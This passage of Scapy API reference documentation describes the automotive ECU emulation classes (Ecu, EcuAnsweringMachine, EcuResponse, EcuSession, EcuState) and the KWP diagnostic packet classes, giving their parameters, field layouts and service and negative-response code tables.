	logging – Turn logging on or off. Default is on.


	verbose – Turn tracking on or off. Default is on.


	store_supported_responses – Create a list of supported responses if True.


	lookahead – Configuration for lookahead when computing supported responses









	
static extend_pkt_with_logging(cls: Type[Packet]) → Callable[[Callable[[Packet], Tuple[str, Any]]], None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L438-L452]

	Decorator to add a function as ‘get_log’ method to a given
class. This allows dynamic modifications and additions to a protocol.
:param cls: A packet class to be modified
:return: Decorator function






	
reset() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L300-L305]

	Resets the internal state to a default EcuState.






	
static sort_key_func(resp: EcuResponse) → Tuple[bool, int, int, int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L392-L409]

	This sorts responses in the following order:
1. Positive responses first
2. Lower ServiceIDs first
3. Less supported states first
4. Longer (more specific) responses first
:param resp: EcuResponse to be sorted
:return: Tuple as sort key






	
property supported_responses: List[EcuResponse]

	Returns a sorted list of supported responses. The sort is done in a way
to provide the best possible results, if this list of supported
responses is used to simulate an real world Ecu with the
EcuAnsweringMachine object.
:return: A sorted list of EcuResponse objects






	
property unanswered_packets: PacketList

	A list of all unanswered packets, which were processed by this Ecu
object.
:return: PacketList of unanswered packets






	
update(p: Packet | PacketList) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L307-L320]

	Processes a Packet or a list of Packets, according to the chosen
configuration.
:param p: Packet or list of Packets










	
class scapy.contrib.automotive.ecu.EcuAnsweringMachine(self, supported_responses=None, main_socket=None, broadcast_socket=None, basecls=<class 'scapy.packet.Raw'>, timeout=None, initial_ecu_state=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L602-L719]

	Bases: AnsweringMachine[PacketList]

AnsweringMachine which emulates the basic behaviour of a real world ECU.
Provide a list of EcuResponse objects to configure the behaviour of a
AnsweringMachine.


	Usage:
	>>> resp = EcuResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))
>>> sock = ISOTPSocket(can_iface, tx_id=0x700, rx_id=0x600, basecls=UDS)
>>> answering_machine = EcuAnsweringMachine(supported_responses=[resp], main_socket=sock, basecls=UDS)
>>> sim = threading.Thread(target=answering_machine, kwargs={'count': 4, 'timeout':5})
>>> sim.start()










	
function_name = 'EcuAnsweringMachine'

	




	
is_request(req: Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L666-L668]

	




	
make_reply(req: Packet) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L670-L704]

	Checks if a given request can be answered by the internal list of
EcuResponses. First, it’s evaluated if the internal EcuState of this
AnsweringMachine is supported by an EcuResponse, next it’s evaluated if
a request answers the key_response of this EcuResponse object. The
first fitting EcuResponse is used. If this EcuResponse modified the
EcuState, the internal EcuState of this AnsweringMachine is updated,
and the list of response Packets of the selected EcuResponse is
returned. If no EcuResponse if found, a PacketList with a generic
NegativeResponse is returned.
:param req: A request packet
:return: A list of response packets






	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
parse_options(supported_responses: ~typing.List[~scapy.contrib.automotive.ecu.EcuResponse] | None = None, main_socket: ~scapy.supersocket.SuperSocket | None = None, broadcast_socket: ~scapy.supersocket.SuperSocket | None = None, basecls: ~typing.Type[~scapy.packet.Packet] = <class 'scapy.packet.Raw'>, timeout: int | float | None = None, initial_ecu_state: ~scapy.contrib.automotive.ecu.EcuState | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L618-L654]

	
	Parameters:

	
	supported_responses – List of EcuResponse objects to define
the behaviour. The default response is
generalReject.


	main_socket – Defines the object of the socket to send
and receive packets.


	broadcast_socket – Defines the object of the broadcast socket.
Listen-only, responds with the main_socket.
None to disable broadcast capabilities.


	basecls – Provide a basecls of the used protocol


	timeout – Specifies the timeout for sniffing in seconds.













	
reset_state() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L661-L664]

	




	
send_reply(reply: PacketList, send_function: Any | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L706-L719]

	Sends all Packets of a EcuResponse object. This allows to send multiple
packets up on a request. If the list contains more than one packet,
a random time between each packet is waited until the next packet will
be sent.
:param reply: List of packets to be sent.






	
sniff_options_list = ['store', 'opened_socket', 'count', 'filter', 'prn', 'stop_filter', 'timeout']

	




	
property state: EcuState

	








	
class scapy.contrib.automotive.ecu.EcuResponse(state: ~scapy.contrib.automotive.ecu.EcuState | ~typing.Iterable[~scapy.contrib.automotive.ecu.EcuState] | None = None, responses: ~typing.Iterable[~scapy.packet.Packet] | ~scapy.plist.PacketList | ~scapy.packet.Packet = <Raw  load=b'\x7f\x10' |>, answers: ~typing.Callable[[~scapy.packet.Packet, ~scapy.packet.Packet], bool] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L484-L599]

	Bases: object

Encapsulates responses and the according EcuStates.
A list of this objects can be used to configure an EcuAnsweringMachine.
This is useful, if you want to clone the behaviour of a real Ecu.

Example

>>> EcuResponse(EcuState(session=2, security_level=2), responses=UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b"deadbeef1"))
>>> EcuResponse([EcuState(session=range(2, 5), security_level=2), EcuState(session=3, security_level=5)], responses=UDS()/UDS_RDBIPR(dataIdentifier=9)/Raw(b"deadbeef4"))





Initialize an EcuResponse capsule


	Parameters:

	
	state – EcuState or list of EcuStates in which this response
is allowed to be sent. If no state provided, the response
packet will always be send.


	responses – A Packet or a list of Packet objects. By default the
last packet is asked if it answers an incoming
packet. This allows to send for example
requestCorrectlyReceived-ResponsePending packets.


	answers – Optional argument to provide a custom answer here:
lambda resp, req: return resp.answers(req)
This allows the modification of a response depending
on a request. Custom SecurityAccess mechanisms can
be implemented in this way or generic NegativeResponse
messages which answers to everything can be realized
in this way.









	
answers(other: Packet) → int | bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L557-L562]

	




	
command() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L589-L597]

	




	
property key_response: Packet

	




	
property responses: PacketList

	




	
property states: List[EcuState] | None

	




	
supports_state(state: EcuState) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L550-L555]

	








	
class scapy.contrib.automotive.ecu.EcuSession(*args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L455-L481]

	Bases: DefaultSession

Tracks modification to an Ecu object ‘on-the-flow’.

The parameters for the internal Ecu object are obtained from the kwargs
dict.

logging: Turn logging on or off. Default is on.
verbose: Turn tracking on or off. Default is on.
store_supported_responses: Create a list of supported responses, if True.

Example

>>> sniff(session=EcuSession)






	
process(pkt: Packet) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L477-L481]

	








	
class scapy.contrib.automotive.ecu.EcuState(**kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L45-L255]

	Bases: object

Stores the state of an Ecu. The state is defined by a protocol, for
example UDS or GMLAN.
A EcuState supports comparison and serialization (command()).


	
command() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L188-L192]

	




	
static extend_pkt_with_modifier(cls: Type[Packet]) → Callable[[Callable[[Packet, Packet, EcuState], None]], None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L194-L214]

	Decorator to add a function as ‘modify_ecu_state’ method to a given
class. This allows dynamic modifications and additions to a protocol.
:param cls: A packet class to be modified
:return: Decorator function






	
static get_modified_ecu_state(response: Packet, request: Packet, state: EcuState, modify_in_place: bool = False) → EcuState[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L228-L255]

	Helper function to get a modified EcuState from a Packet and a
previous EcuState. An EcuState is always modified after a response
Packet is received. In some protocols, the belonging request packet
is necessary to determine the precise state of the Ecu


	Parameters:

	
	response – Response packet that supports modify_ecu_state


	request – Belonging request of the response that modifies Ecu


	state – The previous/current EcuState


	modify_in_place – If True, the given EcuState will be modified






	Returns:

	The modified EcuState or a modified copy










	
static is_modifier_pkt(pkt: Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L216-L226]

	Helper function to determine if a Packet contains a layer that
modifies the EcuState.
:param pkt: Packet to be analyzed
:return: True if pkt contains layer that implements modify_ecu_state






	
reset() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/ecu.py#L181-L186]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.kwp


	
class scapy.contrib.automotive.kwp.KWP(_pkt, /, *, service=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L49-L130]

	Bases: ISOTP


	
aliastypes

	




	
answers(other: Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L111-L123]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SERVICE    |
+-+-+-+-+-+-+-+-+

                             Fig. KWP                             


KWP fields






	service

	XByteEnumField

	0











	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L125-L130]

	




	
payload_guess

	Possible sublayers:
KWP_CDIPR, KWP_CDI, KWP_CDTCSPR, KWP_CDTCS, KWP_DDLIPR, KWP_DDLI, KWP_DNMTPR, KWP_DNMT, KWP_ENMTPR, KWP_ENMT, KWP_ERPR, KWP_ER, KWP_IOCBLIPR, KWP_IOCBLI, KWP_NR, KWP_RDBIPR, KWP_RDBI, KWP_RDBLIPR, KWP_RDBLI, KWP_RDPR, KWP_RD, KWP_RECUIPR, KWP_RECUI, KWP_RMBAPR, KWP_RMBA, KWP_ROEPR, KWP_ROE, KWP_RRRBLIPR, KWP_RRRBLI, KWP_RSODTCPR, KWP_RSODTC, KWP_RTEPR, KWP_RTE, KWP_RUPR, KWP_RU, KWP_SAPR, KWP_SA, KWP_SDSPR, KWP_SDS, KWP_SRBLIPR, KWP_SRBLI, KWP_STRBLIPR, KWP_STRBLI, KWP_TDPR, KWP_TD, KWP_TPPR, KWP_TP, KWP_WDBIPR, KWP_WDBI, KWP_WDBLIPR, KWP_WDBLI, KWP_WMBAPR, KWP_WMBA






	
services: Dict[int, str] = {16: 'StartDiagnosticSession', 17: 'ECUReset', 20: 'ClearDiagnosticInformation', 23: 'ReadStatusOfDiagnosticTroubleCodes', 24: 'ReadDiagnosticTroubleCodesByStatus', 26: 'ReadECUIdentification', 33: 'ReadDataByLocalIdentifier', 34: 'ReadDataByIdentifier', 35: 'ReadMemoryByAddress', 39: 'SecurityAccess', 40: 'DisableNormalMessageTransmission', 41: 'EnableNormalMessageTransmission', 44: 'DynamicallyDefineLocalIdentifier', 46: 'WriteDataByIdentifier', 48: 'InputOutputControlByLocalIdentifier', 49: 'StartRoutineByLocalIdentifier', 50: 'StopRoutineByLocalIdentifier', 51: 'RequestRoutineResultsByLocalIdentifier', 52: 'RequestDownload', 53: 'RequestUpload', 54: 'TransferData', 55: 'RequestTransferExit', 59: 'WriteDataByLocalIdentifier', 61: 'WriteMemoryByAddress', 62: 'TesterPresent', 80: 'StartDiagnosticSessionPositiveResponse', 81: 'ECUResetPositiveResponse', 84: 'ClearDiagnosticInformationPositiveResponse', 87: 'ReadStatusOfDiagnosticTroubleCodesPositiveResponse', 88: 'ReadDiagnosticTroubleCodesByStatusPositiveResponse', 90: 'ReadECUIdentificationPositiveResponse', 97: 'ReadDataByLocalIdentifierPositiveResponse', 98: 'ReadDataByIdentifierPositiveResponse', 99: 'ReadMemoryByAddressPositiveResponse', 103: 'SecurityAccessPositiveResponse', 104: 'DisableNormalMessageTransmissionPositiveResponse', 105: 'EnableNormalMessageTransmissionPositiveResponse', 108: 'DynamicallyDefineLocalIdentifierPositiveResponse', 110: 'WriteDataByIdentifierPositiveResponse', 112: 'InputOutputControlByLocalIdentifierPositiveResponse', 113: 'StartRoutineByLocalIdentifierPositiveResponse', 114: 'StopRoutineByLocalIdentifierPositiveResponse', 115: 'RequestRoutineResultsByLocalIdentifierPositiveResponse', 116: 'RequestDownloadPositiveResponse', 117: 'RequestUploadPositiveResponse', 118: 'TransferDataPositiveResponse', 119: 'RequestTransferExitPositiveResponse', 123: 'WriteDataByLocalIdentifierPositiveResponse', 125: 'WriteMemoryByAddressPositiveResponse', 126: 'TesterPresentPositiveResponse', 127: 'NegativeResponse', 133: 'ControlDTCSetting', 134: 'ResponseOnEvent', 197: 'ControlDTCSettingPositiveResponse', 198: 'ResponseOnEventPositiveResponse'}

	








	
class scapy.contrib.automotive.kwp.KWP_CDI(_pkt, /, *, groupOfDTC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L641-L652]

	Bases: Packet


	
DTCGroups = {0: 'allPowertrainDTCs', 16384: 'allChassisDTCs', 32768: 'allBodyDTCs', 49152: 'allNetworkDTCs', 65280: 'allDTCs'}

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GROUPOFDTC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. KWP_CDI                           


KWP_CDI fields






	groupOfDTC

	XShortEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_CDIPR(_pkt, /, *, groupOfDTC=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L658-L668]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L665-L668]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GROUPOFDTC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_CDIPR                          


KWP_CDIPR fields






	groupOfDTC

	XShortEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_CDTCS(_pkt, /, *, responseRequired=1, groupOfDTC=0, DTCSettingMode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L341-L363]

	Bases: Packet


	
DTCGroups = {0: 'allPowertrainDTCs', 16384: 'allChassisDTCs', 32768: 'allBodyDTCs', 49152: 'allNetworkDTCs', 65280: 'allDTCs'}

	




	
DTCSettingModes = {0: 'Reserved', 1: 'on', 2: 'off'}

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESPONSEREQUIRE|           GROUPOFDTC          | DTCSETTINGMODE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_CDTCS                          


KWP_CDTCS fields






	responseRequired

	ByteEnumField

	1



	groupOfDTC

	XShortEnumField

	0



	DTCSettingMode

	ByteEnumField

	0











	
responseTypes = {1: 'responseRequired', 2: 'noResponse'}

	








	
class scapy.contrib.automotive.kwp.KWP_CDTCSPR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L369-L374]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L372-L374]

	








	
class scapy.contrib.automotive.kwp.KWP_DDLI(_pkt, /, *, dynamicallyDefineLocalIdentifier=0, definitionMode=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L555-L565]

	Bases: Packet


	
aliastypes

	




	
definitionModes = {1: 'defineByLocalIdentifier', 2: 'defineByMemoryAddress', 3: 'defineByIdentifier', 4: 'clearDynamicallyDefinedLocalIdentifier'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DYNAMICALLYDEFI| DEFINITIONMODE|   DATARECORD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_DDLI                           


KWP_DDLI fields






	dynamicallyDefineLocalIdentifier

	XByteField

	0



	definitionMode

	ByteEnumField

	0



	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_DDLIPR(_pkt, /, *, dynamicallyDefineLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L571-L580]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L577-L580]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DYNAMICALLYDEFI|
+-+-+-+-+-+-+-+-+

                         Fig. KWP_DDLIPR                          


KWP_DDLIPR fields






	dynamicallyDefineLocalIdentifier

	XByteField

	0















	
class scapy.contrib.automotive.kwp.KWP_DNMT(_pkt, /, *, responseRequired=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L263-L271]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESPONSEREQUIRE|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_DNMT                           


KWP_DNMT fields






	responseRequired

	ByteEnumField

	0











	
responseTypes = {1: 'responseRequired', 2: 'noResponse'}

	








	
class scapy.contrib.automotive.kwp.KWP_DNMTPR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L277-L282]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L280-L282]

	








	
class scapy.contrib.automotive.kwp.KWP_ENMT(_pkt, /, *, responseRequired=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L289-L297]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESPONSEREQUIRE|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_ENMT                           


KWP_ENMT fields






	responseRequired

	ByteEnumField

	1











	
responseTypes = {1: 'responseRequired', 2: 'noResponse'}

	








	
class scapy.contrib.automotive.kwp.KWP_ENMTPR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L303-L308]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L306-L308]

	








	
class scapy.contrib.automotive.kwp.KWP_ER(_pkt, /, *, resetMode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L167-L175]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESETMODE   |
+-+-+-+-+-+-+-+-+

                           Fig. KWP_ER                            


KWP_ER fields






	resetMode

	ByteEnumField

	0











	
resetModes = {0: 'reserved', 1: 'powerOnReset', 130: 'nonvolatileMemoryReset'}

	








	
class scapy.contrib.automotive.kwp.KWP_ERPR(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L181-L186]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L184-L186]

	








	
class scapy.contrib.automotive.kwp.KWP_IOCBLI(_pkt, /, *, localIdentifier=0, inputOutputControlParameter=0, controlState=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L223-L238]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LOCALIDENTIFIER|INPUTOUTPUTCONT|  CONTROLSTATE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KWP_IOCBLI                          


KWP_IOCBLI fields






	localIdentifier

	XByteField

	0



	inputOutputControlParameter

	XByteEnumField

	0



	controlState

	StrField

	b''











	
inputOutputControlParameters = {0: 'Return Control to ECU', 1: 'Report Current State', 4: 'Reset to Default', 5: 'Freeze Current State', 7: 'Short Term Adjustment', 8: 'Long Term Adjustment'}

	








	
class scapy.contrib.automotive.kwp.KWP_IOCBLIPR(_pkt, /, *, localIdentifier=0, inputOutputControlParameter=0, controlState=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L244-L256]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L253-L256]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LOCALIDENTIFIER|INPUTOUTPUTCONT|  CONTROLSTATE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. KWP_IOCBLIPR                         


KWP_IOCBLIPR fields






	localIdentifier

	XByteField

	0



	inputOutputControlParameter

	XByteEnumField

	0



	controlState

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_NR(_pkt, /, *, requestServiceId=0, negativeResponseCode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L947-L982]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L978-L982]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|REQUESTSERVICEI|NEGATIVERESPONS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. KWP_NR                            


KWP_NR fields






	requestServiceId

	MayEnd

	0



	negativeResponseCode

	ByteEnumField

	0











	
negativeResponseCodes = {0: 'positiveResponse', 16: 'generalReject', 17: 'serviceNotSupported', 18: 'subFunctionNotSupported-InvalidFormat', 33: 'busyRepeatRequest', 34: 'conditionsNotCorrect-RequestSequenceError', 35: 'routineNotComplete', 49: 'requestOutOfRange', 51: 'securityAccessDenied-SecurityAccessRequested', 53: 'invalidKey', 54: 'exceedNumberOfAttempts', 55: 'requiredTimeDelayNotExpired', 64: 'downloadNotAccepted', 80: 'uploadNotAccepted', 113: 'transferSuspended', 120: 'requestCorrectlyReceived-ResponsePending', 128: 'subFunctionNotSupportedInActiveDiagnosticSession', 154: 'dataDecompressionFailed', 155: 'dataDecryptionFailed', 160: 'EcuNotResponding', 161: 'EcuAddressUnknown'}

	








	
class scapy.contrib.automotive.kwp.KWP_RD(_pkt, /, *, memoryAddress=0, compression=0, encryption=0, uncompressedMemorySize=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L838-L845]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMPRES|ENCRYPT|             UNCOMPRESSEDMEMORYSIZE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. KWP_RD                            


KWP_RD fields






	memoryAddress

	X3BytesField

	0



	compression

	BitField  (4 bits)

	0



	encryption

	BitField  (4 bits)

	0



	uncompressedMemorySize

	X3BytesField

	0















	
class scapy.contrib.automotive.kwp.KWP_RDBI(_pkt, /, *, identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L500-L505]

	Bases: Packet


	
aliastypes

	




	
dataIdentifiers = {}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IDENTIFIER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_RDBI                           


KWP_RDBI fields






	identifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RDBIPR(_pkt, /, *, identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L511-L520]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L517-L520]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IDENTIFIER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KWP_RDBIPR                          


KWP_RDBIPR fields






	identifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.kwp.KWP_RDBLI(_pkt, /, *, recordLocalIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L434-L452]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RECORDLOCALIDEN|
+-+-+-+-+-+-+-+-+

                          Fig. KWP_RDBLI                          


KWP_RDBLI fields






	recordLocalIdentifier

	XByteEnumField

	0











	
